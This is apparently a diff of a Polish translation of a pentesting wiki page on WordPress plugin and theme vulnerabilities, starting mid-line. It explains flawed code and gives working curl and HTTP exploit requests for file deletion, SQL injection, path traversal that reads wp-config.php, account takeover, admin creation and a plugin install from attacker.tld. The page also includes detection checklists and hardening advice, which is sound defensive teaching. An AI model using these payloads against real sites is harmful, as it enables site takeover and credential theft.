X-Wcpay-Platform-Checkout-User` na krawędzi), następnie przekaż podpisany token i zweryfikuj go po stronie serwera. -- Dla tras REST wykonujących uprzywilejowane akcje wymagaj sprawdzeń `current_user_can()` oraz rygorystycznego `permission_callback` (NIE używaj `__return_true`). -- Preferuj first-party auth (cookies, application passwords, OAuth) zamiast header “impersonation”. - -References: see the links at the end of this page for a public case and broader analysis. - -### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0) +### Nieautoryzowane dowolne usuwanie plików przez wp_ajax_nopriv (Litho Theme <= 3.0) WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement: @@ -445,58 +436,35 @@ add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove ``` Problemy wprowadzone przez ten fragment: -* **Unauthenticated access** – zarejestrowano hook `wp_ajax_nopriv_`. +* **Unauthenticated access** – the `wp_ajax_nopriv_` hook is registered. * **No nonce / capability check** – każdy odwiedzający może wywołać endpoint. -* **No path sanitisation** – kontrolowany przez użytkownika ciąg `fontfamily` jest konkatenowany do ścieżki systemu plików bez filtrowania, co umożliwia klasyczny `../../` traversal. +* **No path sanitisation** – ciąg kontrolowany przez użytkownika `fontfamily` jest konkatenowany do filesystem path bez filtrowania, co pozwala na klasyczny `../../` traversal. -#### Exploitation +#### Eksploatacja -Atakujący może usunąć dowolny plik lub katalog **poniżej bazowego katalogu uploads** (zwykle `/wp-content/uploads/`) wysyłając jedno żądanie HTTP POST: +Atakujący może usunąć dowolny plik lub katalog **poniżej katalogu bazowego uploads** (zazwyczaj `/wp-content/uploads/`) wysyłając jedno żądanie HTTP POST: ```bash curl -X POST https://victim.com/wp-admin/admin-ajax.php \ -d 'action=litho_remove_font_family_action_data' \ -d 'fontfamily=../../../../wp-config.php' ``` -Ponieważ `wp-config.php` znajduje się poza *uploads*, cztery sekwencje `../` wystarczą w domyślnej instalacji. Usunięcie `wp-config.php` wymusza na WordPress przejście do *kreatora instalacji* przy kolejnej wizycie, umożliwiając pełne przejęcie strony (atakujący jedynie podaje nową konfigurację DB i tworzy użytkownika admina). +Ponieważ `wp-config.php` znajduje się poza *uploads*, cztery sekwencje `../` wystarczą w domyślnej instalacji. Usunięcie `wp-config.php` wymusza na WordPress uruchomienie *kreatora instalacji* przy następnej wizycie, umożliwiając pełne przejęcie serwisu (atakujący jedynie dostarcza nową konfigurację DB i tworzy konto admina). -Inne istotne cele to pliki plugin/theme `.php` (np. w celu wyłączenia security plugins) lub reguły `.htaccess`. +Inne istotne cele to pliki `.php` w pluginach/motywach (aby złamać security plugins) lub reguły `.htaccess`. #### Lista kontrolna wykrywania -* Każde wywołanie zwrotne `add_action( 'wp_ajax_nopriv_...')`, które wywołuje funkcje pomocnicze systemu plików (`copy()`, `unlink()`, `$wp_filesystem->delete()`, itp.). -* Konkatenacja niesanitizowanych danych wejściowych użytkownika w ścieżki (szukaj `$_POST`, `$_GET`, `$_REQUEST`). +* Każde wywołanie zwrotne `add_action( 'wp_ajax_nopriv_...')`, które wywołuje helpery systemu plików (`copy()`, `unlink()`, `$wp_filesystem->delete()`, itp.). +* Łączenie niesanitizowanych danych wejściowych użytkownika w ścieżki (szukaj `$_POST`, `$_GET`, `$_REQUEST`). * Brak `check_ajax_referer()` oraz `current_user_can()`/`is_user_logged_in()`. -#### Zabezpieczenia -```php -function secure_remove_font_family() { -if ( ! is_user_logged_in() ) { -wp_send_json_error( 'forbidden', 403 ); -} -check_ajax_referer( 'litho_fonts_nonce' ); - -$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) ); -$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily; - -if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) { -wp_send_json_error( 'invalid path', 400 ); -} -// … proceed … -} -add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' ); -// 🔒 NO wp_ajax_nopriv_ registration -``` -> [!TIP] -> **Zawsze** traktuj każdą operację zapisu/usunięcia na dysku jako uprzywilejowaną i dokładnie sprawdź: -> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`). - --- -### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role") +### Eskalacja uprawnień przez przywracanie przestarzałych ról i brak autoryzacji (ASE "View Admin as Role") -Wiele wtyczek implementuje funkcję "view as role" lub tymczasowego przełączania ról, zapisując oryginalne role w user meta, aby mogły być przywrócone później. Jeśli ścieżka przywracania polega wyłącznie na parametrach żądania (np. `$_REQUEST['reset-for']`) i utrzymywanej przez wtyczkę liście, bez sprawdzenia capabilities i ważnego nonce, prowadzi to do vertical privilege escalation. +Wiele pluginów implementuje funkcję "view as role" lub tymczasowej zmiany roli poprzez zapisanie oryginalnej(ych) roli(i) w user meta, aby móc je przywrócić później. Jeśli ścieżka przywracania opiera się jedynie na parametrach żądania (np. `$_REQUEST['reset-for']`) i liście utrzymywanej przez wtyczkę bez sprawdzania uprawnień i ważnego nonce, staje się to wertykalną eskalacją uprawnień. -Przykład z prawdziwego świata znaleziono we wtyczce Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Gałąź resetu przywracała role na podstawie `reset-for=` jeśli nazwa użytkownika pojawiała się w wewnętrznej tablicy `$options['viewing_admin_as_role_are']`, ale nie wykonywała ani sprawdzenia `current_user_can()`, ani weryfikacji nonce przed usunięciem bieżących ról i ponownym dodaniem zapisanych ról z user meta `_asenha_view_admin_as_original_roles`: +Przykład z rzeczywistego świata znaleziono we wtyczce Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Gałąź resetu przywracała role na podstawie `reset-for=` jeśli nazwa użytkownika pojawiła się w wewnętrznej tablicy `$options['viewing_admin_as_role_are']`, ale nie wykonywała ani sprawdzenia `current_user_can()` ani weryfikacji nonce przed usunięciem obecnych ról i ponownym dodaniem zapisanych ról z user meta `_asenha_view_admin_as_original_roles`: ```php // Simplified vulnerable pattern if ( isset( $_REQUEST['reset-for'] ) ) { @@ -511,19 +479,13 @@ foreach ( $orig as $r ) { $u->add_role( $r ); } } } ``` -Dlaczego to jest podatne +Dlaczego jest to eksploatowalne -- Ufa `$_REQUEST['reset-for']` i opcji pluginu bez autoryzacji po stronie serwera. -- Jeśli użytkownik wcześniej miał wyższe uprawnienia zapisane w `_asenha_view_admin_as_original_roles` i został zdegradowany, może je przywrócić przez odwiedzenie reset path. -- W niektórych wdrożeniach dowolny uwierzytelniony użytkownik mógł wywołać reset dla innej nazwy użytkownika wciąż obecnej w `viewing_admin_as_role_are` (błędna autoryzacja). +- Polega na zaufaniu do `$_REQUEST['reset-for']` i opcji wtyczki bez autoryzacji po stronie serwera. +- Jeśli użytkownik wcześniej miał wyższe uprawnienia zapisane w `_asenha_view_admin_as_original_roles` i został zdegradowany, może je przywrócić, odwiedzając ścieżkę resetu. +- W niektórych wdrożeniach każdy uwierzytelniony użytkownik mógł wywołać reset dla innej nazwy użytkownika nadal obecnej w `viewing_admin_as_role_are` (błędna autoryzacja). -Wymagania wstępne ataku - -- Wrażliwa wersja pluginu z włączoną funkcją. -- Konto celu ma przestarzałą rolę o wysokich uprawnieniach zapisaną w user meta z wcześniejszego użycia. -- Dowolna uwierzytelniona sesja; brak nonce/capability w przepływie resetu. - -Eksploatacja (przykład) +Exploitation (example) ```bash # While logged in as the downgraded user (or any auth user able to trigger the code path), # hit any route that executes the role-switcher logic and include the reset parameter. @@ -531,36 +493,23 @@ Eksploatacja (przykład) curl -s -k -b 'wordpress_logged_in=...' \ 'https://victim.example/wp-admin/?reset-for=' ``` -W podatnych buildach to usuwa obecne role i ponownie dodaje zapisane oryginalne role (np. `administrator`), skutecznie eskalując uprawnienia. +W podatnych buildach usuwa to bieżące role i ponownie dodaje zapisane oryginalne role (np. `administrator`), skutecznie eskalując uprawnienia. Detection checklist -- Szukaj funkcji przełączania ról, które przechowują „original roles” w user meta (np. `_asenha_view_admin_as_original_roles`). -- Zidentyfikuj ścieżki resetowania/przywracania, które: +- Szukaj funkcji przełączania ról, które zapisują „original roles” w user meta (np. `_asenha_view_admin_as_original_roles`). +- Zidentyfikuj ścieżki reset/restore, które: - Odczytują nazwy użytkowników z `$_REQUEST` / `$_GET` / `$_POST`. -- Modyfikują role za pomocą `add_role()` / `remove_role()` bez `current_user_can()` i `wp_verify_nonce()` / `check_admin_referer()`. -- Autoryzują na podstawie tablicy opcji wtyczki (np. `viewing_admin_as_role_are`) zamiast na podstawie uprawnień wykonawcy. - -Hardening - -- Wymuszaj sprawdzenia uprawnień w każdej gałęzi zmieniającej stan (np. `current_user_can('manage_options')` lub bardziej restrykcyjne). -- Wymagaj nonce'ów dla wszystkich mutacji ról/uprawnień i weryfikuj je: `check_admin_referer()` / `wp_verify_nonce()`. -- Nigdy nie ufaj nazwom użytkowników przesyłanym w żądaniu; określ docelowego użytkownika po stronie serwera na podstawie uwierzytelnionego wykonawcy i wyraźnej polityki. -- Unieważniaj stan „original roles” przy aktualizacjach profilu/roli, aby uniknąć przywrócenia przestarzałych wysokich uprawnień: -```php -add_action( 'profile_update', function( $user_id ) { -delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' ); -}, 10, 1 ); -``` -- Rozważ przechowywanie minimalnego stanu i używanie tokenów o ograniczonym czasie ważności, capability-guarded, do tymczasowych zmian ról. +- Modyfikują role za pomocą `add_role()` / `remove_role()` bez `current_user_can()` oraz `wp_verify_nonce()` / `check_admin_referer()`. +- Autoryzują na podstawie tablicy opcji wtyczki (np. `viewing_admin_as_role_are`) zamiast na podstawie uprawnień aktora. --- -### Nieautoryzowana privilege escalation via cookie‑trusted user switching na publicznym `init` (Service Finder “sf-booking”) +### Nieautoryzowana eskalacja uprawnień przez przełączanie użytkownika oparte na zaufanym ciasteczku na publicznym init (Service Finder “sf-booking”) -Niektóre wtyczki podłączają helpery do przełączania użytkownika do publicznego hooka `init` i wyprowadzają tożsamość z kontrolowanego przez klienta cookie. Jeśli kod wywołuje `wp_set_auth_cookie()` bez weryfikacji uwierzytelnienia, capability i ważnego nonce, dowolny nieautoryzowany odwiedzający może wymusić zalogowanie jako dowolny identyfikator użytkownika. +Niektóre wtyczki podpinają helpery do user-switching pod publiczny hook `init` i pobierają tożsamość z ciasteczka kontrolowanego przez klienta. Jeśli kod wywołuje `wp_set_auth_cookie()` bez weryfikacji uwierzytelnienia, uprawnień i ważnego nonce, każdy nieautoryzowany odwiedzający może wymusić zalogowanie jako dowolny identyfikator użytkownika. -Typowy podatny wzorzec (upraszczając z Service Finder Bookings ≤ 6.1): +Typowy podatny wzorzec (uproszczone z Service Finder Bookings ≤ 6.1): ```php function service_finder_submit_user_form(){ if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) { @@ -591,9 +540,9 @@ wp_die('No original user found to switch back to.'); ``` Dlaczego jest to podatne -- Publiczny hook `init` sprawia, że handler jest osiągalny dla niezalogowanych użytkowników (brak zabezpieczenia `is_user_logged_in()`). -- Tożsamość pochodzi z cookie modyfikowalnego przez klienta (`original_user_id`). -- Bezpośrednie wywołanie `wp_set_auth_cookie($uid)` loguje żądającego jako tego użytkownika bez żadnych sprawdzeń uprawnień/nonce. +- Publiczny hook `init` sprawia, że handler jest dostępny dla niezalogowanych użytkowników (brak zabezpieczenia `is_user_logged_in()`). +- Tożsamość jest odczytywana z cookie modyfikowalnego po stronie klienta (`original_user_id`). +- Bezpośrednie wywołanie `wp_set_auth_cookie($uid)` loguje żądającego jako tego użytkownika bez jakichkolwiek sprawdzeń capability/nonce. Eksploatacja (bez uwierzytelnienia) ```http @@ -605,34 +554,34 @@ Connection: close ``` --- -### Rozważania dotyczące WAF dla WordPress/plugin CVEs +### WAF considerations for WordPress/plugin CVEs -Ogólne WAFy brzegowe/serwerowe są dostrojone pod szerokie wzorce (SQLi, XSS, LFI). Wiele wysoko wpływowych luk w WordPress/plugin to błędy logiki/autoryzacji specyficzne dla aplikacji, które wyglądają jak nieszkodliwy ruch, chyba że silnik rozumie trasy WordPress i semantykę pluginów. +Ogólne WAFy brzegowe/serwerowe są nastawione na wykrywanie szerokich wzorców (SQLi, XSS, LFI). Wiele wysokiego ryzyka luk w WordPress i wtyczkach to błędy logiki/autoryzacji specyficzne dla aplikacji, które wyglądają jak nieszkodliwy ruch, chyba że silnik rozumie trasy WordPress i semantykę wtyczek. -Notatki ofensywne +Offensive notes -- Celuj w endpointy specyficzne dla pluginów za pomocą czystych payloads: `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, shortcodes. -- Najpierw testuj ścieżki bez uwierzytelnienia (AJAX `nopriv`, REST z permissive `permission_callback`, public shortcodes). Domyślne payloads często działają bez obfuskacji. -- Typowe przypadki o dużym wpływie: eskalacja uprawnień (broken access control), arbitrary file upload/download, LFI, open redirect. +- Celuj w endpointy specyficzne dla wtyczek przy użyciu czystych payloadów: `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, shortcodes. +- Najpierw testuj ścieżki nieautoryzowane (AJAX `nopriv`, REST z liberalnym `permission_callback`, public shortcodes). Domyślne payloady często działają bez obfuskacji. +- Typowe przypadki o dużym wpływie: eskalacja uprawnień (broken access control), dowolne przesyłanie/pobieranie plików, LFI, open redirect. -Notatki defensywne +Defensive notes -- Nie polegaj na ogólnych sygnaturach WAF w celu ochrony plugin CVEs. Wdróż wirtualne poprawki na warstwie aplikacji, specyficzne dla danej podatności, lub aktualizuj szybko. -- Preferuj pozytywne kontrole bezpieczeństwa w kodzie (capabilities, nonces, strict input validation) zamiast negatywnych filtrów regex. +- Nie polegaj na ogólnych sygnaturach WAF, aby chronić CVE dotyczące wtyczek. Wdroż wirtualne poprawki specyficzne dla podatności na warstwie aplikacji lub zaktualizuj szybko. +- Preferuj mechanizmy pozytywnej ochrony w kodzie (capabilities, nonces, ścisła walidacja wejścia) zamiast negatywnych filtrów regex. ## Ochrona WordPress ### Regularne aktualizacje -Upewnij się, że WordPress, plugins i themes są aktualne. Potwierdź też, że automatyczne aktualizacje są włączone w wp-config.php: +Upewnij się, że WordPress, wtyczki i motywy są aktualne. Potwierdź także, że automatyczne aktualizacje są włączone w wp-config.php: ```bash define( 'WP_AUTO_UPDATE_CORE', true ); add_filter( 'auto_update_plugin', '__return_true' ); add_filter( 'auto_update_theme', '__return_true' ); ``` -Również, **instaluj tylko zaufane wtyczki i motywy WordPress**. +Ponadto, **instaluj tylko zaufane wtyczki i motywy WordPress**. -### Wtyczki bezpieczeństwa +### Wtyczki zabezpieczające - [**Wordfence Security**](https://wordpress.org/plugins/wordfence/) - [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/) @@ -642,12 +591,12 @@ Również, **instaluj tylko zaufane wtyczki i motywy WordPress**. - Usuń domyślnego użytkownika **admin** - Używaj **silnych haseł** i **2FA** -- Okresowo **przeglądaj** uprawnienia użytkowników +- Okresowo **przeglądaj** **uprawnienia** użytkowników - **Ogranicz liczbę prób logowania**, aby zapobiec atakom Brute Force -- Zmień nazwę pliku **`wp-admin.php`** i zezwalaj na dostęp tylko wewnętrznie lub z wybranych adresów IP. +- Zmień nazwę pliku **`wp-admin.php`** i zezwalaj na dostęp tylko wewnętrznie lub z określonych adresów IP. -### SQL Injection bez uwierzytelnienia przez niewystarczającą walidację (WP Job Portal <= 2.3.2) +### Nieuwierzytelniony SQL Injection z powodu niewystarczającej walidacji (WP Job Portal <= 2.3.2) Wtyczka rekrutacyjna WP Job Portal udostępniała zadanie **savecategory**, które ostatecznie wykonuje następujący podatny kod w `modules/category/model.php::validateFormData()`: ```php @@ -659,19 +608,19 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗ $query = "SELECT max(ordering)+1 AS maxordering FROM " . wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later ``` -Issues introduced by this snippet: +Problemy wprowadzone przez ten fragment: -1. **Niezabezpieczone dane wejściowe użytkownika** – `parentid` pochodzi bezpośrednio z żądania HTTP. -2. **Konkatenacja łańcuchów w klauzuli WHERE** – brak `is_numeric()` / `esc_sql()` / prepared statement. -3. **Dostęp bez uwierzytelnienia** – chociaż akcja jest wykonywana przez `admin-post.php`, jedyną kontrolą jest **CSRF nonce** (`wp_verify_nonce()`), który każdy odwiedzający może pobrać ze strony publicznej osadzonej przez shortcode `[wpjobportal_my_resumes]`. +1. **Unsanitised user input** – `parentid` pochodzi bezpośrednio z żądania HTTP. +2. **String concatenation inside the WHERE clause** – brak użycia `is_numeric()` / `esc_sql()` / prepared statement. +3. **Unauthenticated reachability** – chociaż akcja jest wykonywana przez `admin-post.php`, jedyną kontrolą jest **CSRF nonce** (`wp_verify_nonce()`), który każdy odwiedzający może pobrać ze strony publicznej osadzonej przy pomocy shortcode `[wpjobportal_my_resumes]`. -#### Eksploatacja +#### Wykorzystanie 1. Pobierz świeży nonce: ```bash curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4 ``` -2. Wstrzyknij dowolne SQL, wykorzystując `parentid`: +2. Wstrzyknięcie dowolnego zapytania SQL przez nadużycie `parentid`: ```bash curl -X POST https://victim.com/wp-admin/admin-post.php \ -d 'task=savecategory' \ @@ -684,15 +633,15 @@ Odpowiedź ujawnia wynik wstrzykniętego zapytania lub modyfikuje bazę danych, ### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2) -Inne zadanie, **downloadcustomfile**, pozwalało odwiedzającym na pobranie **dowolnego pliku z dysku** przez path traversal. Wrażliwy sink znajduje się w `modules/customfield/model.php::downloadCustomUploadedFile()`: +Inne zadanie, **downloadcustomfile**, pozwalało odwiedzającym pobrać **dowolny plik na dysku** poprzez path traversal. Wrażliwy sink znajduje się w `modules/customfield/model.php::downloadCustomUploadedFile()`: ```php $file = $path . '/' . $file_name; ... echo $wp_filesystem->get_contents($file); // raw file output ``` -`$file_name` jest kontrolowany przez atakującego i konkatenowany **bez sanityzacji**. Ponownie, jedyną blokadą jest **CSRF nonce**, który można pobrać ze strony resume. +`$file_name` jest kontrolowany przez atakującego i konkatenowany **bez sanitacji**. Ponownie, jedyną barierą jest **CSRF nonce**, który można pobrać ze strony z CV. -#### Eksploatacja +#### Exploitation ```bash curl -G https://victim.com/wp-admin/admin-post.php \ --data-urlencode 'task=downloadcustomfile' \ @@ -703,7 +652,198 @@ curl -G https://victim.com/wp-admin/admin-post.php \ ``` Serwer zwraca zawartość `wp-config.php`, leaking DB credentials and auth keys. -## Odnośniki +## Nieautoryzowane przejęcie konta przez Social Login AJAX fallback (Jobmonster Theme <= 4.7.9) + +Wiele motywów/pluginów dostarcza "social login" helpery wystawione przez admin-ajax.php. Jeśli nieautoryzowana akcja AJAX (wp_ajax_nopriv_...) ufa identyfikatorom dostarczonym przez klienta, gdy brakuje danych providera, a następnie wywołuje wp_set_auth_cookie(), to staje się to pełnym obejściem uwierzytelniania. + +Typowy błędny schemat (uproszczony) +```php +public function check_login() { +// ... request parsing ... +switch ($_POST['using']) { +case 'fb': /* set $user_email from verified Facebook token */ break; +case 'google': /* set $user_email from verified Google token */ break; +// other providers ... +default: /* unsupported/missing provider – execution continues */ break; +} + +// FALLBACK: trust POSTed "id" as email if provider data missing +$user_email = !empty($user_email) +? $user_email +: (!empty($_POST['id']) ? esc_attr($_POST['id']) : ''); + +if (empty($user_email)) { +wp_send_json(['status' => 'not_user']); +} + +$user = get_user_by('email', $user_email); +if ($user) { +wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user +wp_send_json(['status' => 'success', 'message' => 'Login successfully.']); +} +wp_send_json(['status' => 'not_user']); +} +// add_action('wp_ajax_nopriv_', [$this, 'check_login']); +``` +Dlaczego to jest eksploatowalne + +- Dostęp bez uwierzytelnienia przez admin-ajax.php (akcja wp_ajax_nopriv_…). +- Brak sprawdzeń nonce/capability przed zmianą stanu. +- Brak weryfikacji dostawcy OAuth/OpenID; gałąź domyślna akceptuje dane od atakującego. +- get_user_by('email', $_POST['id']) z następującym wp_set_auth_cookie($uid) uwierzytelnia żądającego jako dowolny istniejący adres e-mail. + +Eksploatacja (bez uwierzytelnienia) + +- Wymagania wstępne: atakujący może osiągnąć /wp-admin/admin-ajax.php i zna/zgaduje poprawny adres e-mail użytkownika. +- Ustaw provider na nieobsługiwaną wartość (lub pomiń go), aby trafić do gałęzi domyślnej i przekazać id=. +```http +POST /wp-admin/admin-ajax.php HTTP/1.1 +Host: victim.tld +Content-Type: application/x-www-form-urlencoded + +action=&using=bogus&id=admin%40example.com +``` + +```bash +curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \ +-d "action=&using=bogus&id=admin%40example.com" +``` +Expected success indicators + +- HTTP 200 z ciałem JSON takim jak {"status":"success","message":"Login successfully."}. +- Set-Cookie: wordpress_logged_in_* dla ofiary; kolejne żądania są uwierzytelnione. + +Finding the action name + +- Sprawdź motyw/wtyczkę pod kątem rejestracji add_action('wp_ajax_nopriv_...', '...') w kodzie social login (np. framework/add-ons/social-login/class-social-login.php). +- Grep for wp_set_auth_cookie(), get_user_by('email', ...) inside AJAX handlers. + +Detection checklist + +- Logi serwera pokazujące niezautoryzowane żądania POST do /wp-admin/admin-ajax.php z akcją social-login i id=. +- Odpowiedzi 200 z JSON-em sukcesu bezpośrednio poprzedzające uwierzytelniony ruch z tego samego IP/User-Agent. + +Hardening + +- Nie wyprowadzaj tożsamości na podstawie danych przesłanych przez klienta. Akceptuj tylko adresy e-mail/ID pochodzące z zatwierdzonego tokena/ID dostawcy. +- Wymagaj nonce CSRF i sprawdzeń uprawnień nawet dla helperów logowania; unikaj rejestrowania wp_ajax_nopriv_ chyba że jest to absolutnie konieczne. +- Waliduj i weryfikuj odpowiedzi OAuth/OIDC po stronie serwera; odrzucaj brakujących/nieprawidłowych dostawców (bez fallbacku do POST id). +- Rozważ tymczasowe wyłączenie social login lub wirtualne załatanie na edge (zablokowanie podatnej akcji) do czasu naprawy. + +Patched behaviour (Jobmonster 4.8.0) + +- Usunięto niebezpieczny fallback oparty na $_POST['id']; $user_email musi pochodzić z gałęzi zweryfikowanego dostawcy w switch($_POST['using']). + +## Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82) + +Niektóre wtyczki udostępniają endpointy REST, które tworzą wielokrotnego użytku “connection keys” lub tokeny bez weryfikacji uprawnień wywołującego. Jeśli trasa autoryzuje się jedynie na podstawie odgadniętego atrybutu (np. username) i nie wiąże klucza z użytkownikiem/sesją poprzez sprawdzenia uprawnień, każdy niezalogowany atakujący może wygenerować klucz i wywołać uprzywilejowane akcje (utworzenie konta admina, akcje wtyczki → RCE). + +- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection +- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback +- Impact: full takeover by chaining the minted key to internal privileged actions + +PoC – wygeneruj connection key i użyj go +```bash +# 1) Obtain key (unauthenticated). Exact payload varies per plugin +curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \ +-H 'Content-Type: application/json' \ +--data '{"username":"admin"}' +# → {"key":"", ...} + +# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin) +curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \ +-H 'Content-Type: application/json' \ +-H 'X-Connection-Key: ' \ +--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}' +``` +Dlaczego to jest podatne +- Wrażliwa ścieżka REST chroniona jedynie przez dowód tożsamości o niskiej entropii (username) lub brakujący permission_callback +- Brak egzekwowania capability; wygenerowany klucz jest akceptowany jako uniwersalny bypass + +Lista kontrolna wykrywania +- Grep w kodzie wtyczki w poszukiwaniu register_rest_route(..., [ 'permission_callback' => '__return_true' ]) +- Każda ścieżka, która wydaje tokeny/klucze na podstawie tożsamości dostarczonej w żądaniu (username/email) bez powiązania z uwierzytelnionym użytkownikiem lub capability +- Szukaj kolejnych ścieżek, które akceptują wygenerowany token/klucz bez serwerowego sprawdzenia capability + +Wzmocnienie +- Dla każdej uprzywilejowanej ścieżki REST: wymagaj permission_callback, który egzekwuje current_user_can() dla wymaganej capability +- Nie twórz długowiecznych kluczy na podstawie tożsamości dostarczonej przez klienta; jeśli to konieczne, wydawaj krótkotrwałe, powiązane z użytkownikiem tokeny po uwierzytelnieniu i ponownie sprawdzaj capability podczas użycia +- Zwaliduj kontekst użytkownika wywołującego (wp_set_current_user nie jest wystarczające samo w sobie) i odrzucaj żądania, gdzie !is_user_logged_in() || !current_user_can() + +--- + +## Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≤ 3.5.3) + +Nonces zapobiegają CSRF, nie autoryzacji. Jeśli kod traktuje pozytywne przejście nonce jako zielone światło i następnie pomija sprawdzenia capability dla operacji uprzywilejowanych (np. install/activate plugins), niezalogowani atakujący mogą spełnić słabe wymaganie nonce i osiągnąć RCE przez zainstalowanie backdoored or vulnerable plugin. + +- Vulnerable path: plugin/install_and_activate +- Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes” +- Impact: full compromise via arbitrary plugin install/activation + +PoC (shape depends on plugin; illustrative only) +```bash +curl -i -s -X POST https://victim.tld/wp-json//plugin/install_and_activate \ +-H 'Content-Type: application/json' \ +--data '{"_nonce":"","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}' +``` +Detection checklist +- REST/AJAX handlers modyfikujące wtyczki/motywy używające jedynie wp_verify_nonce()/check_admin_referer() i bez sprawdzenia uprawnień +- Każda ścieżka kodu, która ustawia $skip_caps = true po walidacji nonce + +Hardening +- Zawsze traktuj nonces wyłącznie jako tokeny CSRF; wymuszaj sprawdzenia uprawnień niezależnie od stanu nonce +- Wymagaj current_user_can('install_plugins') oraz current_user_can('activate_plugins') przed dotarciem do kodu instalatora +- Odrzucaj nieuwierzytelniony dostęp; unikaj udostępniania nopriv AJAX actions dla uprzywilejowanych przepływów + +--- + +## Niezalogowany SQLi via s search parameter in depicter-* actions (Depicter Slider ≤ 3.6.1) + +Wiele akcji depicter-* wykorzystywało parametr s (search) i konkatenowało go w zapytaniach SQL bez parametryzacji. + +- Parameter: s (search) +- Flaw: bezpośrednia konkatenacja łańcuchów w klauzulach WHERE/LIKE; brak użycia zapytań przygotowanych i sanitizacji +- Impact: eksfiltracja bazy danych (użytkownicy, hashe), lateral movement + +PoC +```bash +# Replace action with the affected depicter-* handler on the target +curl -G "https://victim.tld/wp-admin/admin-ajax.php" \ +--data-urlencode 'action=depicter_search' \ +--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -" +``` +Detection checklist +- Przeszukaj (grep) depicter-* action handlers oraz bezpośrednie użycie $_GET['s'] lub $_POST['s'] w SQL +- Przejrzyj niestandardowe zapytania przekazywane do $wpdb->get_results()/query(), łączące s + +Hardening +- Zawsze używaj $wpdb->prepare() lub wpdb placeholders; odrzucaj nieoczekiwane metaznaki po stronie serwera +- Dodaj ścisłą białą listę dla s i normalizuj do oczekiwanego zestawu znaków/długości + +--- + +## Unauthenticated Local File Inclusion via niezwalidowanej ścieżki szablonu/pliku (Kubio AI Page Builder ≤ 2.5.1) + +Akceptowanie ścieżek kontrolowanych przez atakującego w parametrze template bez normalizacji/izolacji pozwala na odczyt dowolnych lokalnych plików, a czasami na wykonanie kodu, jeśli pliki PHP/log możliwe do include zostaną załadowane w czasie wykonywania. + +- Parameter: __kubio-site-edit-iframe-classic-template +- Flaw: brak normalizacji/białej listy; traversal permitted +- Impact: ujawnienie sekretów (wp-config.php), potencjalne RCE w określonych środowiskach (log poisoning, includable PHP) + +PoC – read wp-config.php +```bash +curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php" +``` +Lista kontrolna wykrywania +- Każdy handler łączący ścieżki żądań i przekazujący je do include()/require()/read sinks bez kontroli za pomocą realpath() +- Szukaj wzorców traversal (../), które prowadzą poza zamierzony katalog szablonów + +Wzmocnienie zabezpieczeń +- Wymuś listę dozwolonych (allowlisted) szablonów; rozwiąż ścieżki przez realpath() i sprawdź str_starts_with(realpath(file), realpath(allowed_base)) +- Normalizuj wejście; odrzucaj sekwencje traversal i ścieżki bezwzględne; używaj sanitize_file_name() tylko dla nazw plików (nie pełnych ścieżek) + + +## Źródła - [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/) - [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/) @@ -714,5 +854,11 @@ Serwer zwraca zawartość `wp-config.php`, leaking DB credentials and auth keys. - [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/) - [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/) - [Service Finder Bookings privilege escalation – Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability) +- [Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme](https://patchstack.com/articles/unauthenticated-broken-authentication-vulnerability-in-wordpress-jobmonster-theme/) +- [Q3 2025’s most exploited WordPress vulnerabilities and how RapidMitigate blocked them](https://patchstack.com/articles/q3-2025s-most-exploited-wordpress-vulnerabilities-and-how-patchstacks-rapidmitigate-blocked-them/) 